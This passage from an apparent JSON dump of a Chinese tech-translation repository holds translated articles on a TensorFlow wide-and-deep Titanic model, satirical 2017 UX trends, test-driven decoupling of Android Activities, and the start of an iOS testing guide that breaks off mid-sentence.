    "content": "> * 原文地址：[TensorFlow in a Nutshell — Part Two: Hybrid Learning](https://chatbotnewsdaily.com/tensorflow-in-a-nutshell-part-two-hybrid-learning-98c121d35392#.5mqhrid6c)\n* 原文作者：[Camron Godbout](https://chatbotnewsdaily.com/@camrongodbout)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[edvardhua](https://github.com/edvardHua)\n* 校对者：[marcmoore](https://github.com/marcmoore), [futureshine](https://github.com/futureshine)\n\n# 简明 TensorFlow 教程 — 第二部分：混合学习\n#### 快速上手世界上最流行的深度学习框架。\n\n确保你已经阅读了[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/tensorflow-in-a-nutshell-part-one-basics.md)\n\n\n在本文中，我们将演示一个宽 N 深度网络，它使用广泛的线性模型与前馈网络同时训练，以证明它比一些传统的机器学习技术能提供精度更高的预测结果。下面我们将使用混合学习方法预测泰坦尼克号乘客的生存概率。\n\n混合学习技术已被 Google 应用在 Play 商店中提供应用推荐。Youtube 也在使用类似的混合学习技术来推荐视频。\n\n本文的代码可以在[这里](https://github.com/c0cky/TensorFlow-in-a-Nutshell/tree/master/part2)找到。\n\n#### 广泛深度网络\n\n宽和深网络将线性模型与前馈神经网络结合，使得我们的预测将具有记忆和通用化。 这种类型的模型可以用于分类和回归问题。 这种方法能够在减少特征工程的同时拥有相对精确的预测结果，可谓一箭双雕。\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*UutPkDr3n0DF6RrlnsAJEA.png)\n\n\n\n#### 数据\n\n我们将使用泰坦尼克号 Kaggle 数据来预测乘客的生存率是否和某些属性有关，如姓名、性别、船票、船舱的类型等。有关此数据的更多信息请点击[这里](https://www.kaggle.com/c/titanic/data)。\n\n首先，我们要将所有列定义为连续或分类。\n\n连续的列 - 连续范围内的任何数值。 像钱或年龄。\n\n分类列 - 有限集的一部分。 像男性或女性，或着乘客的国籍。\n\n    CATEGORICAL_COLUMNS = [\"Name\", \"Sex\", \"Embarked\", \"Cabin\"]\n    CONTINUOUS_COLUMNS = [\"Age\", \"SibSp\", \"Parch\", \"Fare\", \"PassengerId\", \"Pclass\"]\n\n因为我们只是想看看一个人是否幸存下来，这是一个二元分类问题。 所以预测结果 1 表示该乘客幸存下来，而结果 0 表示没有幸存。（也即创建一列来储存预测结果）\n\n    SURVIVED_COLUMN = \"Survived\"\n\n#### 网络\n\n现在我们可以创建列和添加嵌入层。 当我们构建我们的模型时，我们想要将我们的分类列变成稀疏列。 对于没有那么多类别（例如 Sex 或 Embarked（S，Q 或 C））的列，我们根据类名将它们转换为稀疏列。\n\n    sex = tf.contrib.layers.sparse_column_with_keys(column_name=\"Sex\",\n                                                         keys=[\"female\",\n                                                     \"male\"])\n      embarked = tf.contrib.layers.sparse_column_with_keys(column_name=\"Embarked\",\n                                                       keys=[\"C\",\n                                                             \"S\",\n                                                             \"Q\"])\n\n对于类别较多的分类列，由于我们没有一个词汇表文件将所有可能的类别映射为一个整数，所以我们使用哈希值作为键值。\n\n    cabin = tf.contrib.layers.sparse_column_with_hash_bucket(\n          \"Cabin\", hash_bucket_size=1000)\n          name = tf.contrib.layers.sparse_column_with_hash_bucket(\n          \"Name\", hash_bucket_size=1000)\n\n我们的连续列使用的是真实的值。 因为 passengerId 是连续的而不是分类的，并且他们已经是整数的 ID 而不是字符串。\n\n    age = tf.contrib.layers.real_valued_column(\"Age\")\n          passenger_id = tf.contrib.layers.real_valued_column(\"PassengerId\")\n    sib_sp = tf.contrib.layers.real_valued_column(\"SibSp\")\n    parch = tf.contrib.layers.real_valued_column(\"Parch\")\n    fare = tf.contrib.layers.real_valued_column(\"Fare\")\n    p_class = tf.contrib.layers.real_valued_column(\"Pclass\")\n\n我们需要根据年龄对乘客进行分类。 桶化（Bucketization ）允许我们找到乘客对应年龄组的生存相关性，而不是将所有年龄作为一个大整体，从而提高我们的准确性。\n\n    age_buckets = tf.contrib.layers.bucketized_column(age,\n                                                        boundaries=[\n                                                            5, 18, 25,\n                                                            30, 35, 40,\n                                                            45, 50, 55,\n                                                             65\n                                                        ])\n\n最后，我们将定义我们的广度列和深度列。 我们的宽列将有效地记住我们与特征之间的交互。 我们的宽列不会将我们的特征通用化，这是深度列的用处。\n\n    wide_columns = [sex, embarked, p_class, cabin, name, age_buckets,\n                      tf.contrib.layers.crossed_column([p_class, cabin],\n                                                       hash_bucket_size=int(1e4)),\n                      tf.contrib.layers.crossed_column(\n                          [age_buckets, sex],\n                          hash_bucket_size=int(1e6)),\n                      tf.contrib.layers.crossed_column([embarked, name],\n                                                       hash_bucket_size=int(1e4))]\n\n拥有这些深度列的好处是，它会将我们提供的高维度稀疏的特征进行降维来计算。\n\n    deep_columns = [\n          tf.contrib.layers.embedding_column(sex, dimension=8),\n          tf.contrib.layers.embedding_column(embarked, dimension=8),\n          tf.contrib.layers.embedding_column(p_class,\n                                             dimension=8),\n          tf.contrib.layers.embedding_column(cabin, dimension=8),\n          tf.contrib.layers.embedding_column(name, dimension=8),\n          age,\n          passenger_id,\n          sib_sp,\n          parch,\n          fare,\n      ]\n\n我们通过使用深度列和广度列来创建分类器，以完成我们的函数。\n\n    return tf.contrib.learn.DNNLinearCombinedClassifier(\n             linear_feature_columns=wide_columns,\n            dnn_feature_columns=deep_columns,\n            dnn_hidden_units=[100, 50])\n\n我们在运行网络之前要做的最后一件事是为我们的连续和分类列创建映射。 我们先创建一个输入函数给我们的数据框，它能将我们的数据框转换为 Tensorflow 可以操作的对象。 这样做的好处是，我们可以改变和调整我们的 tensors 创建过程。 例如说我们可以将特征列传递到 _.fit_ _.feature .predict_ 作为一个单独创建的列，就像我们上面所描述的一样，但这个是一个更加简洁的方案。\n\n    def input_fn(df, train=False):\n      \"\"\"Input builder function.\"\"\"\n      # Creates a dictionary mapping from each continuous feature column name (k) to\n      # the values of that column stored in a constant Tensor.\n      continuous_cols = {k: tf.constant(df[k].values) for k in CONTINUOUS_COLUMNS}\n      # Creates a dictionary mapping from each categorical feature column name (k)\n      # to the values of that column stored in a tf.SparseTensor.\n      categorical_cols = {k: tf.SparseTensor(\n        indices=[[i, 0] for i in range(df[k].size)],\n        values=df[k].values,\n        shape=[df[k].size, 1])\n                          for k in CATEGORICAL_COLUMNS}\n      # Merges the two dictionaries into one.\n      feature_cols = dict(continuous_cols)\n      feature_cols.update(categorical_cols)\n      # Converts the label column into a constant Tensor.\n      if train:\n        label = tf.constant(df[SURVIVED_COLUMN].values)\n          # Returns the feature columns and the label.\n        return feature_cols, label\n      else:\n        # so we can predict our results that don't exist in the csv\n        return feature_cols\n\n现在，做完了以上工作，我们就可以开始编写训练功能了\n\n    def train_and_eval():\n      \"\"\"Train and evaluate the model.\"\"\"\n      df_train = pd.read_csv(\n          tf.gfile.Open(\"./train.csv\"),\n          skipinitialspace=True)\n      df_test = pd.read_csv(\n          tf.gfile.Open(\"./test.csv\"),\n          skipinitialspace=True)\n\n      model_dir = \"./models\"\n      print(\"model directory = %s\" % model_dir)\n\n      m = build_estimator(model_dir)\n      m.fit(input_fn=lambda: input_fn(df_train, True), steps=200)\n      print m.predict(input_fn=lambda: input_fn(df_test))\n      results = m.evaluate(input_fn=lambda: input_fn(df_train, True), steps=1)\n      for key in sorted(results):\n        print(\"%s: %s\" % (key, results[key]))\n\n我们读取预处理后的 csv 文件，像处理缺失值等。为了让文章保持简洁，更多有关预处理的代码和内容可以在代码仓库中找到。\n\n这些 csv 文件将通过调用 input_fn 函数转换为 tensors 。 我们先构建评价指标，然后打印我们的预测和评估结果。\n\n### 结果\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*WP9Rh1BvPNJyZw9-UYDhWg.png)\n\n\n\n\n\n网络结果\n\n运行我们的代码为我们提供了相当好的结果，不需要添加任何额外的列或做任何特征工程。 而且只要很少的微调这个模型可以得到相对较好的结果。\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*CVoes2yr1puyXkWT69nMlw.png)\n\n\n\n与传统广度线性模型一起添加嵌入层的能力，允许通过将稀疏维度降低到低维度来进行准确的预测。\n\n### 结论\n\n这部分偏离了传统的深度学习，说明 Tensorflow 还有许多其他用途和应用。 本文主要根据 Google 提供的论文和代码进行广泛深入的学习。 研究论文可以在[这里](https://arxiv.org/abs/1606.07792)找到。 Google 将此模型用作 Google Play 商店的产品推荐引擎，并帮助他们在提高应用销量上给出了建议。 YouTube 也发布了一篇关于他们使用混合模型做推荐系统的[文章](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45530.pdf)。 这些模型开始更多地被各种公司推荐，并且会因为优秀的嵌入能力越来越流行。"
  },
  {
    "path": "TODO/terrible-ux-trends-for.md",
    "content": "> * 原文地址：[Terrible UX Trends for 2017](https://medium.com/ux-power-tools/terrible-ux-trends-for-2017-de6faebf099e#.reygjk2nv)\n* 原文作者：[Christian Beck](https://medium.com/@cmbeck_?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Ruixi](https://github.com/Ruixi)\n* 校对者：[L9m](https://github.com/L9m),[bobmayuze](https://github.com/bobmayuze)\n\n# 某些2017年的 UX 趋势啊，扎心了#\n\n### 前方高能，非战斗人员请迅速撤离 ###\n\n### 🔥 热门的 UX 新技术热点 ###\n\n#### 比灰更灰 ####\n\nInstagram 用黑与白的重设计颠覆设计界。我们好像从未见过全由这两种颜色搭配的设计。 \n\n![](https://cdn-images-1.medium.com/max/800/1*XARSm9e47wY9X0X48p4U1A.png)\n\nInstagram 3.0\n\n今年的主题是将灰色进行到底。我们最近发表的一项“科学”调查，显示了一组”令人信服”的统计数据：\n[![](https://cdn-images-1.medium.com/max/800/1*EVKyoiQvtl34AiQb2OImvA.png)](https://twitter.com/uxpowertools/status/829012492114391040)\n\n很多的吃瓜群众对我们问这种无意义的问题一脸懵逼。\n看呐，世界各地的设计师们相对于 gary 而言更偏爱用 gery。如果今年你还是用 gray 的话，还是改行的好。**没人要啦。**\n\n#### 虚拟现实中的滚动条（?） ####\n\n还记得你不得不回头去看你身后的大鲨鱼的时候吗？不再有这场景啦。只要把你的视线集中在滚动条上，向左／右滚动。晃动你的头来做个视差滚动。只是千万不要在某个人的 VR 头显上来个整屏滚动：**这可能会造成永久性的伤害**。\n\n#### 折纸原型 ####\n\n你在学校中学画纸上原型，在聚会上用来作为谈资可能还有用。但在今天，你站在星巴克外请人来“测试”一个硬地滚球的直播应用的纸上原型会招致白眼🙄（注：硬地滚球是一项严重痉挛、脑瘫或严重肢体残疾人士参加的运动，具体玩法就是在地上滚球，根据扔出的球离目标球的总距离来判断胜负）。\n\n这时折纸原型就该派上用场了，如果你真的想在屏幕之外测试原型的话，你需要成为一个折纸专家，用折纸形状模拟你想要投影（soft drop shadow）。如果想在拟物化设计中使用材质的话，那么粗糙羊皮纸就是最好的选择了。\n\n![](https://cdn-images-1.medium.com/max/800/1*nMRhrf72fkJvvoeEVLidow.png)\n\n2017年新出的 Pokémon Go\n\n### 热门新职位 ###\n\n每个人都喜欢职业称谓。在不忙着弄这个的时候，我们花了不少时间来讨论这个。或者为它们写不少文章。这里有几个新鲜出炉的称谓，保证可以拿大笔薪水，你也可以在下次面试中拿来试试！\n\n#### 设计系统首席架构师 ####\n\n在过去，设计师们所关注的都在于屏幕或者用户流。有时候他们会使用“高保真”模型，然后转换成为程序来帮助构建软件。而现在？辣鸡。你可以设计一个脚本来替你完成各种无聊的工作。\n\n![](https://cdn-images-1.medium.com/max/1600/1*GH02-QpJ7lYeSpaJAsm5pQ.gif)\n\nAdobe 的新型设计机器人 CC™ 的偷跑模型\n\n在 2017 年，最好的设计师都用设计系统。这些页面，控件页面，颜色，神奇的网格都展示了应该**如何**被设计，而不是实际上的设计。\n\n#### 基本法设计师（Principle Designer） ####\n\n这个经常被拼错的头衔现在是真的了。没错，这意味着你作为一个真正的“ **首席(Principal)** 设计师” ，你不会去纠正别人。反正，你现在被控为你所在设计团队的良心。你懂的……基本法。你并不会对设计去批判一番。相反，你只会提出假设性的问题，让其他设计师陷入关于你的工作是如何“契合企业价值观”的无尽思考。你也会打打类似“弟兄们，我们在这里有更深远的使命！它超越了像素和 RGB 的价值。我们正在改变世界！”的嘴炮。 \n\n#### Sketch 绘制专家 ####\n\n每个伟大的基本法设计师（Principle Designer）背后都有一个伟大的 Sketch 绘制专家。这人就是通过打印设计稿，然后（字面意义上的跑）交给开发，来摸索怎样成为一个卓越的设计师的。但是对于任何想用实习生，但没有什么实际工作派给他们的设计团队而言，这是一个必要的补充。Sketch 绘制专家，往往没有报酬，但从长远来看还是会有所收获。\n\n![](https://cdn-images-1.medium.com/max/800/1*RVyq0FfNzeeQMjILSqi-FA.png)\n\n没错。\n\n#### **初级眼动追踪者(Associate Eye Trackers)** ####\n\n眼动追踪领域真是太TM重要了，你不能浅尝辄止。你往往做不到像 Amy Adams 在 **《降临》** 中的那么成功。\n\n![](ttps://cdn-images-1.medium.com/max/800/1*nx8Mw2r_g2bMCx9VLUgVeQ.png)\n\n现在，年轻的眼动追踪者。就现在。\n\n你可以从简单地追踪人们的手势开始。用户竖中指了吗？用户抓狂地摔键盘了吗？这些只是初级眼动追踪者（Associate Eye Trackers）在成为 **高级眼动追踪者（Senior Eye Trackers）** 的遥远征途中需要学习的一小部分。\n\n#### 无人机＋一切 ####\n\n年轻人啊，这东西真是太火了。我们可能得写一篇关于什么它们**做不了**的长文……我需要从这份单子上划掉的第一件事就是“做一个飞翔的 Lady Gaga 的背景板。”我原以为他们肯定不会这么干的。哥，我错了。\n\n![](https://cdn-images-1.medium.com/max/800/1*AyBckEAyQwuxjfWUEZAu6g.gif)\n\n有趣的事实：无人机并没有被 poker faces 愚弄。天佑美利坚！\n想想你今年想要设计的东西，然后想象一下它们和无人机在一起。这还有些是附赠给那些依然没有看到无人机所提供的巨大价值的家伙们的:\n\n- 一架 Facebook 无人机围着你打转，一直直播你的生活。**赞**。\n- 一架 Twitter 无人机准确地跟随着周围的人。在新版本中，这架无人机可以质疑人们的政治观点，接着指责他们，所以你不用亲自动手（因为你也可能不会）。\n- Uber 无人机。它并不能捎你一程，但是它可以帮你捎点别的小东西。比如你落在房间里的汽车钥匙。\n\n这就是我能想到的全部了。发挥你的想象力吧。\n\n\n### 设计发展大势 ###\n\n大趋势确实是很新潮的。这可是**趋势的**趋势。但今年的大趋势似乎要来得**比大更大**。截至年底，我们还需要另一个形容词来形容它们。\n\n事不宜迟，下面就是 2017 年的大趋势。用这些或者其他的来面对 Dribble 上没完没了的审阅吧。\n\n#### 斜态设计 ####\n\n忘掉平行线吧。以及任何秩序感。2017 的设计没有直角！否则，人们会叽叽喳喳地议论你是多么缺乏想象力和“创造性”。你得使用更多的不同度数的夹角，以及更少的颜色。\n\n#### **扁平化的虚拟现实设计** ####\n\n还记得那些想要营造真实视感糟糕的简便和投影技术吗？没错。**很明显**。 **硬伤。** 现在每个地方都扁平化了。\n\n虚拟现实将会更像是 **《南方公园》** 而不是 **《魔弦传说》** 。你最终会看到设计帮助人们逃离我们被迫每天生活在其中的丑陋的三维现实。\n\n![](https://cdn-images-1.medium.com/max/600/1*UhzZz8T6hqp_WFyxo_Pj3A.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*_lw8ajalS14yXARJFuKXbw.png)\n\nVR重设计前/后。我选择我们的基本法设计师。\n\n#### 残酷的设计 ####\n\n这很像是野兽派的设计，但是**更丑**。就像是蒂尔达·斯文顿（英国女演员）出演的一部史泰龙传记影片。这你怎么搞得定啊！\n\n色彩只用作点缀。没有填充，没有色块。随机色彩的飞溅就像是时髦的“color runs”。这些牛逼的千禧一代一刻不停地把自己伪装成享受健康生活的样子\n\n![](https://cdn-images-1.medium.com/max/800/1*tlMwMwlttTZqgtC2Bqck_g.png)\n\n跑完全程，你吸入了致癌（但是花花绿绿的！）化学制品。\n\n#### 真实场景对话 UI ####\n\n就是你**亲自**和另一个人类交谈。\n\n![](https://cdn-images-1.medium.com/max/800/1*eWI_7PuR0YPQ8EBRdLjX6g.png)\n\n我在 eHarmony（在草图中使用了 Bootstrap 主题）做的一个新项目的新模型。\n\n行了，这些就是你需要知道的关于 2017 的一切了。已经到二月份啦，所以处于对你的考虑，希望你已经了解了大部分的趋势了哈。还有，如果你有什么要留言的，pump brakes mean girl。\n\n[![](https://cdn-images-1.medium.com/max/800/1*ZGoV9E37LM6evlsn79D0oA.png)](https://www.designernews.co/comments/242989)\n\n2016 年我最喜欢的设计师的回复。\n\n\n**在我不写东西的时候，我主要草图设计工具这上边忙活，比如** [**UX Power Tools**](https://www.uxpower.tools)\n**为了让你成为一个更6，更有影响力的设计师。所有最好的图形设计师都在用，你应该也挺喜欢的吧。**[**戳一戳见证奇迹！**](https://marvelapp.com/explore/1672412/ux-power-tools-style-guide)\n\n[**关注推特上给力的 UX 工具**](https://www.twitter.com/uxpowertools)\n[**关注我的推特**](https://twitter.com/cmbeck_)\n"
  },
  {
    "path": "TODO/test-driving-away-coupling-in-activities.md",
    "content": "> * 原文地址：[Test Driving away Coupling in Activities](https://www.philosophicalhacker.com/post/test-driving-away-coupling-in-activities/)\n> * 原文作者：[philosohacker](https://twitter.com/philosohacker)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[mnikn](https://github.com/mnikn)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana)，[stormrabbit](https://github.com/stormrabbit)\n\n# 通过测试来解耦Activity\n\n`Activity` 和 `Fragment`，可能是因为一些[奇怪的历史巧合](https://www.philosophicalhacker.com/post/why-android-testing-is-so-hard-historical-edition/)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把`Activity` 和 `Fragment` 是应用的最佳构件这种想法称为“android-centric”架构。\n\n本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。\n\n\n[上次](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/)，我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。像本系列博文中的其他文章一样，我们依然以 Google I/O 应用为例子进行探讨。\n\n### 目标代码\n\n我们想要测试的“目标代码”，做了以下工作：当用户进入展示所有 Google I/O session 的地图界面时，app 会请求当前位置。如果用户拒绝提供定位权限，我们会弹出一个 toast 来提示用户已禁用此权限。这是其中的截图：\n\n![拒绝请求的 toast](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)\n\n这是实现代码：\n\n```\n@Override\npublic void onRequestPermissionsResult(final int requestCode,\n        @NonNull final String[] permissions,\n        @NonNull final int[] grantResults) {\n\n    if (requestCode != REQUEST_LOCATION_PERMISSION) {\n        return;\n    }\n\n    if (permissions.length == 1 &&\n            LOCATION_PERMISSION.equals(permissions[0]) &&\n            grantResults[0] == PackageManager.PERMISSION_GRANTED) {\n        // Permission has been granted.\n        if (mMapFragment != null) {\n            mMapFragment.setMyLocationEnabled(true);\n        }\n    } else {\n        // Permission was denied. Display error message.\n        Toast.makeText(this, R.string.map_permission_denied,\n                Toast.LENGTH_SHORT).show();\n    }\n    super.onRequestPermissionsResult(requestCode, permissions,\n            grantResults);\n}\n```\n\n### 测试代码 \n\n让我们尝试测试下这些代码，我们的测试代码看起来是这样的：\n\n```\n@Test\npublic void showsToastIfPermissionIsRejected()\n        throws Exception {\n    MapActivity mapActivity = new MapActivity();\n\n    mapActivity.onRequestPermissionsResult(\n            MapActivity.REQUEST_LOCATION_PERMISSION,\n            new String[]{MapActivity.LOCATION_PERMISSION}, new int[]{\n                    PackageManager.PERMISSION_DENIED});\n\n    assertToastDisplayed();\n}\n```\n\n当然你很希望能知道 `assertToastDisplayed()` 是怎么实现的。重点来了：我们不会直接实现该方法。为了避免实现后再重构我们的代码，我们需要使用 Roboelectric 和 Powermock。（译者注：Roboelectric 和 Powermock 均为测试框架）\n\n不过，既然我们更希望根据测试来[改变我们写代码的方式，而不是仅仅改变写测试的方式](https://www.philosophicalhacker.com/post/why-i-dont-use-roboletric/)，我们要停一会来想一想这些测试想要告诉我们什么事情：\n\n> 我们在 `MapActivity` 里面的代码逻辑和 `Toast` 紧密地耦合在一起。\n\n这之间的耦合驱使我们使用 Roboelectric 来模拟 android 行为和 powermock 来模拟静态的 `Toast.makeText` 方法。作为替换，让我们以测试为驱动来去除耦合。\n\n为了让我们重构有个方向，我们先写测试。这将确保我们的**新**类已经解耦。为了避免使用 Roboelectric 框架，我们需要在这特殊情况下创建一个新类，但是通常来说，我们只需重构已存在的类来解耦。\n\n```\n@Test\npublic void displaysErrorWhenPermissionRejected() throws Exception {\n\n    OnPermissionResultListener onPermissionResultListener =\n            new OnPermissionResultListener(mPermittedView);\n\n    onPermissionResultListener.onPermissionResult(\n            MapActivity.REQUEST_LOCATION_PERMISSION,\n            new String[]{MapActivity.LOCATION_PERMISSION},\n            new int[]{PackageManager.PERMISSION_DENIED});\n\n    verify(mPermittedView).displayPermissionDenied();\n}\n```\n\n我们已经介绍过 `OnPermissionResultListener`，它的工作就是处理用户对 app 请求权限的反应。代码如下：\n\n```\nvoid onPermissionResult(final int requestCode,\n            final String[] permissions, final int[] grantResults) {\n    if (requestCode != MapActivity.REQUEST_LOCATION_PERMISSION) {\n        return;\n    }\n\n    if (permissions.length == 1 &&\n            MapActivity.LOCATION_PERMISSION.equals(permissions[0]) &&\n            grantResults[0] == PackageManager.PERMISSION_GRANTED) {\n        // Permission has been granted.\n        mPermittedView.displayPermittedView();\n\n    } else {\n        // Permission was denied. Display error message.\n        mPermittedView.displayPermissionDenied();\n    }\n}\n```\n\n我们把对 `MapFragment` 和 `Toast` 的调用替换为对 `PermittedView` 里面方法的调用，这个对象通过构造函数来传递。`PermittedView` 是一个接口：\n\n```\ninterface PermittedView {\n    void displayPermissionDenied();\n\n    void displayPermittedView();\n}\n```\n\n它在 `MapActivity` 里实现:\n\n```\npublic class MapActivity extends BaseActivity\n        implements SlideableInfoFragment.Callback, MapFragment.Callbacks,\n        ActivityCompat.OnRequestPermissionsResultCallback,\n        OnPermissionResultListener.PermittedView {\n    @Override\n    public void displayPermissionDenied() {\n        Toast.makeText(MapActivity.this, R.string.map_permission_denied,\n                Toast.LENGTH_SHORT).show();\n    }\n}\n```\n\n这也许不是**最好**的解决方案，但是这能让我们抓住可以在哪里测试这一重心。这**要求** `OnPermissionResultListener` 降低和 `PermittedView` 的耦合度。解耦 == 显而易见的进步。\n\n### 有必要么？\n\n对于这一点，一些读者可能会有所怀疑。“这样真的算优化代码吗？”他们会大惑不解。有两点理由可以确认为什么这样设计**更好**。\n\n（无论我给出哪一个理由，你都会发现其解释是“因为它的可测试性更好，所以它设计得更好”，这是一个很重要的原因。）\n\n#### 更容易改变\n\n首先，因为所组成的内容耦合度低，从而能够更容易地改变代码，而且更精彩的是：我们刚刚测试 Google I/O 应用的代码**实际上已经改变了**，通过我们的测试，能让其改代码变得更容易。所测试的代码来自[一个较旧的 commit](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/map/MapActivity.java)。之后，写 I/O 应用的人们决定把 `Toast` 替换为 `Snackbar`：\n\n![snackbar 拒绝请求](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)\n\n这是一个小改变，但是因为我们已经把 `OnPermissionResultListener` 从 `PermittedView` 中分离出来，我们可以只专注于改变 `PermittedView` 在 `MapActivity` 里面的实现，而无需担心 `OnPermissionResultListener`。\n\n这是我们改变代码后的样子，使用他们的 `PermissionUtils` 类来显示 `SnackBar`。\n\n```\n@Override\npublic void displayPermissionDenied() {\n    PermissionsUtils.displayConditionalPermissionDenialSnackbar(this,\n            R.string.map_permission_denied, new String[]{LOCATION_PERMISSION},\n            REQUEST_LOCATION_PERMISSION);\n}\n```\n\n请再留意，我们可以不用考虑 `OnPermissionResultListener` 就直接改变其内容。这实际就是 Larry Constantine 在 70 年代提出对耦合这一概念的定义：\n\n> 我们尽力让系统解耦。。。这样我们就能研究（或者调试、维护）其中一个模块而无需考虑系统中的其他模块\n> \n> –Edward Yourdon and Larry Constantine, Structured Design\n\n#### 去重\n\n另一个“为什么实际上通过我们的测试来迫使我们解耦是一件好事”的有趣原因是：耦合通常会导致重复。Kent Beck 曾对此有相关看法：\n\n> 依赖是任意规模的软件开发的重点问题。。。如果依赖成为了问题，这就会体现在重复上。\n> \n> -Kent Beck, TDD By Example, pg 7.\n\n如果这是对的，当我们解耦，我们将会发现更多的去重机会。的确，在我们这次案例中这个观点显得很准确。事实上有另外一个类的 `onRequestPermissionsResult` 和 `MapActivity` 的几乎一样：[`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139)。我们的测试指引我们来创建 `OnPermissionResultListener` 和 `PermittedView` 这两个接口，因此无需任何修改就可以在其他类中复用。\n\n### 结论\n\n所以，当我们难以测试 `Activity` 和 `Fragment`时，通常是因为我们的测试尝试告诉我们所写的代码耦合度太高。测试对耦合度的警告通常以我们无法对代码做出断言的形式表现出来。\n\n当我们听从我们的测试时，与其通过 Roboelectric 和 powermock 替换测试代码，不如改变被测代码，让其耦合度降低，这样我们就能更容易改代码和有更多的机会去重。\n\n### 注意\n\n1. 这也可能表现为无法让你的被测代码在测试中以一个正确的状态表现出来。例如我们在本篇中所看到的。\n\n### 我们在 [Unikey](http://www.unikey.com/) 招聘中级 Android 开发者。如果你想要在 Orlando 智能锁定空间里的一间初创公司工作，请发邮件给我。\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/testing-ios-apps.md",
    "content": "> * 原文地址：[Testing iOS Apps](http://merowing.info/2017/01/testing-ios-apps/)\n* 原文作者：[krzysztofzablocki](http://merowing.info/hire/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[thanksdanny](https://github.com/thanksdanny)\n* 校对者：[DeepMissea](https://github.com/DeepMissea), [lovelyCity](https://github.com/lovelyCiTY)\n\n# iOS 应用测试 #\n\n![](http://merowing.info/2017/01/testing.png)\n\n在 iOS 项目中写测试代码是个很敏感的话题。因为出于各种原因，不是每一位开发者都可以花费大量的时间去写测试代码。\n\n更有部分人完整控制着他们的开发流程，并不将编写测试代码这一流程加入到项目中。这大概是因为他们在做测试这方面有过不好的经历，又或者他们根本看不出测试对项目的价值所在。\n\n但我想说如果你在一个小团队工作，测试给你带来的帮助会比你在大公司大得多。\n\n大公司里会有专业的 QA 团队，但如果你是两个开发者中的一员，确保代码的质量和可靠性就是你在工作中必须要承担的责任。这其中的压力不言而喻，因为项目中你写的每一个功能都可能对其他的部分造成影响。\n\n我们来看看在 iOS 应用里编写可维护测试的实践与技巧。\n\n\n## 基础 ##\n\n\n### Red - Green - Refactor ###\n\n- **RED**：显示测试不通过\n\n- **GREEN**：无论写什么代码，都会让测试通过\n\n- **REFACTOR**：重构代码去提高项目质量。**千万不要**忽略这一步\n\n重复这个循环直到你的代码是干净的，而且都是被测试过的。\n\n#### 好处 ####\n\n- 在客户端还未存在的时候，做测试首先会能给你一个清晰的视角去设计客户端的 API 。\n\n- 好的测试用例就好像对于预期执行结果的完美文档。\n\n- 它会给你信心去促使你不断地重构你的代码，因为你知道代码有问题的话都是不会通过测试的。\n\n- 你是否足够的了解如何去写好测试代码？\n\n- 当你发现测试代码很难去编写的时候，就说明你的代码架构还是需要改进。通过 RGR 可以及时地帮助你去改善问题。\n\n写一些未经测试的代码可以更好的理解手头的问题，然后通过 RGR 原则重写，会对问题理解的更深入。重写这一步骤是十分重要的，因为生产代码已经写好的时候再写测试已经是十分困难的了。\n\n当你重构生产代码时，你不应该再走 **RGR** 流程了，相反，你应该让他们都绿灯通过，以此确保没有引发代码回归。\n\n### [Arrange - Act - Assert](http://c2.com/cgi/wiki?ArrangeActAssert) ###\n\n**AAA** 是单元测试中代码格式与排版的一种模式。\n\n如果你只用 XCTests 去编写的测试代码，你应该将功能部份并为一组，用空白行分隔：\n\n- **Arrange** 所有必要的预处理与输入\n\n- **Act** 被测试的对象或方法\n\n- **Assert** 输出预期结果的验证\n\n```\nfunc testArticleIsProvidedCorrectly() {\n        let URL = ...\n        let articleProvider = ArticleProvider()\n\n        let article = articleProvider.articleFromURL(URL: URL)\n\n        XCTAssertNotNil(article)\n    }\n```\n\n#### 好处 ####\n\n- 从 setup 与断言中分离已测试的功能。\n\n- 专注在最小的一组测试步骤集上。\n\n- 让测试的感觉更浓：\n\n\t- 断言混合了“Act”代码\n\n\t- 测试方法尝试在同一时间测试太多东西\n\n\t- 测试方法需要写很多 setup 的时候，是一个需要重构的好信号\n\n## 测试代码的质量 ##\n\n其中我听过最多关于测试的抱怨，就是他们会觉得测试代码太难维护了。\n\n很多人应用程序的代码写的很好，而测试用例写的惨不忍睹，因为他们把测试当摆设，根本不需要去重视。\n\n这里我想引用 Klaas 